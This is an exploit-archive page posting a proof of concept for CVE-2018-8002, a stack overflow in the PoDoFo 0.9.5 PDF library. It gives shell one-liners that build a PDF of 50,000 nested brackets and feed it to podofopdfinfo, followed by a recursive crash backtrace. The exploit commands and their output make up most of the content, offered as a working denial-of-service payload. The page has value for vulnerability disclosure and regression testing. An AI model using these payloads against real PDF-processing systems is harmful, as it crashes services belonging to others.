exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

PoDoFo 0.9.5 Buffer Overflow

PoDoFo 0.9.5 Buffer Overflow
Posted Jun 26, 2018
Authored by r4xis

PoDoFo version 0.9.5 suffers from a buffer overflow vulnerability.

tags | exploit, overflow
advisories | CVE-2018-8002
SHA-256 | d30e9bc2b87c725a0e7297e704ac0cfafb3e95d40de7cdeddb1838c6af802081

PoDoFo 0.9.5 Buffer Overflow

Change Mirror Download
# Exploit Title: PoDoFo 0.9.5 - Stack-Based Buffer Overflow (PoC)
# Date: 25.06.2018
# Software Link: https://sourceforge.net/projects/podofo/
# Vuln Version: 0.9.5
# CVE: cve-2018-8002
# Vulnerability Details: https://bugzilla.redhat.com/show_bug.cgi?id=1548930
# Exploit Author: r4xis
https://github.com/r4xis



exploit
-------------
podofo 0.9.3 (tested on ubuntu 16.04 32 bit)
$ python -c 'print "%PDF- 1 0 obj<<" + "["*50000' > poc.pdf;podofopdfinfo poc.pdf

podofo 0.9.4 (tested on debian 9.4 64 bit)
$ python -c 'print "%PDF- 1 0 obj" + "["*50000 + "startxref 5%%EOF"' > poc.pdf ;podofopdfinfo poc.pdf

podofo 0.9.5 (tested on ubuntu 18.04 64 bit)
$ python -c 'print "%PDF- 1 0 obj" + "["*50000 + "startxref 5%%EOF"' > poc.pdf ;podofopdfinfo poc.pdf

Note: Also you can use "<<" characters;
$ python -c 'print "%PDF- 1 0 obj" + "<<"*50000 + "startxref 5%%EOF"' > poc.pdf ;podofopdfinfo poc.pdf

reason
-----------
Recursive functions call to each others, until the stack overflow.

backtrace
-----------
for "[" chars;
...
#28 0x00007ffff7ad00af in PoDoFo::PdfTokenizer::ReadArray(PoDoFo::PdfVariant&, PoDoFo::PdfEncrypt*) () from /usr/lib/libpodofo.so.0.9.5
#29 0x00007ffff7acf57b in PoDoFo::PdfTokenizer::ReadDataType(PoDoFo::EPdfDataType, PoDoFo::PdfVariant&, PoDoFo::PdfEncrypt*) ()
from /usr/lib/libpodofo.so.0.9.5
#30 0x00007ffff7ad00af in PoDoFo::PdfTokenizer::ReadArray(PoDoFo::PdfVariant&, PoDoFo::PdfEncrypt*) () from /usr/lib/libpodofo.so.0.9.5
#31 0x00007ffff7acf57b in PoDoFo::PdfTokenizer::ReadDataType(PoDoFo::EPdfDataType, PoDoFo::PdfVariant&, PoDoFo::PdfEncrypt*) ()
from /usr/lib/libpodofo.so.0.9.5
#32 0x00007ffff7ad00af in PoDoFo::PdfTokenizer::ReadArray(PoDoFo::PdfVariant&, PoDoFo::PdfEncrypt*) () from /usr/lib/libpodofo.so.0.9.5
#33 0x00007ffff7acf57b in PoDoFo::PdfTokenizer::ReadDataType(PoDoFo::EPdfDataType, PoDoFo::PdfVariant&, PoDoFo::PdfEncrypt*) ()
from /usr/lib/libpodofo.so.0.9.5
#34 0x00007ffff7ad00af in PoDoFo::PdfTokenizer::ReadArray(PoDoFo::PdfVariant&, PoDoFo::PdfEncrypt*) () from /usr/lib/libpodofo.so.0.9.5
#35 0x00007ffff7acf57b in PoDoFo::PdfTokenizer::ReadDataType(PoDoFo::EPdfDataType, PoDoFo::PdfVariant&, PoDoFo::PdfEncrypt*) ()
from /usr/lib/libpodofo.so.0.9.5
#36 0x00007ffff7ad00af in PoDoFo::PdfTokenizer::ReadArray(PoDoFo::PdfVariant&, PoDoFo::PdfEncrypt*) () from /usr/lib/libpodofo.so.0.9.5
#37 0x00007ffff7acf57b in PoDoFo::PdfTokenizer::ReadDataType(PoDoFo::EPdfDataType, PoDoFo::PdfVariant&, PoDoFo::PdfEncrypt*) ()
from /usr/lib/libpodofo.so.0.9.5
#38 0x00007ffff7ad00af in PoDoFo::PdfTokenizer::ReadArray(PoDoFo::PdfVariant&, PoDoFo::PdfEncrypt*) () from /usr/lib/libpodofo.so.0.9.5
#39 0x00007ffff7acf57b in PoDoFo::PdfTokenizer::ReadDataType(PoDoFo::EPdfDataType, PoDoFo::PdfVariant&, PoDoFo::PdfEncrypt*) ()
from /usr/lib/libpodofo.so.0.9.5
#40 0x00007ffff7ad00af in PoDoFo::PdfTokenizer::ReadArray(PoDoFo::PdfVariant&, PoDoFo::PdfEncrypt*) () from /usr/lib/libpodofo.so.0.9.5
#41 0x00007ffff7acf57b in PoDoFo::PdfTokenizer::ReadDataType(PoDoFo::EPdfDataType, PoDoFo::PdfVariant&, PoDoFo::PdfEncrypt*) ()
from /usr/lib/libpodofo.so.0.9.5
#42 0x00007ffff7ad00af in PoDoFo::PdfTokenizer::ReadArray(PoDoFo::PdfVariant&, PoDoFo::PdfEncrypt*) () from /usr/lib/libpodofo.so.0.9.5
#43 0x00007ffff7acf57b in PoDoFo::PdfTokenizer::ReadDataType(PoDoFo::EPdfDataType, PoDoFo::PdfVariant&, PoDoFo::PdfEncrypt*) ()
from /usr/lib/libpodofo.so.0.9.5
#44 0x00007ffff7ad00af in PoDoFo::PdfTokenizer::ReadArray(PoDoFo::PdfVariant&, PoDoFo::PdfEncrypt*) () from /usr/lib/libpodofo.so.0.9.5
#45 0x00007ffff7acf57b in PoDoFo::PdfTokenizer::ReadDataType(PoDoFo::EPdfDataType, PoDoFo::PdfVariant&, PoDoFo::PdfEncrypt*) ()
from /usr/lib/libpodofo.so.0.9.5
#46 0x00007ffff7ad00af in PoDoFo::PdfTokenizer::ReadArray(PoDoFo::PdfVariant&, PoDoFo::PdfEncrypt*) () from /usr/lib/libpodofo.so.0.9.5
#47 0x00007ffff7acf57b in PoDoFo::PdfTokenizer::ReadDataType(PoDoFo::EPdfDataType, PoDoFo::PdfVariant&, PoDoFo::PdfEncrypt*) ()
from /usr/lib/libpodofo.so.0.9.5
#48 0x00007ffff7ad00af in PoDoFo::PdfTokenizer::ReadArray(PoDoFo::PdfVariant&, PoDoFo::PdfEncrypt*) () from /usr/lib/libpodofo.so.0.9.5
#49 0x00007ffff7acf57b in PoDoFo::PdfTokenizer::ReadDataType(PoDoFo::EPdfDataType, PoDoFo::PdfVariant&, PoDoFo::PdfEncrypt*) ()
...

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close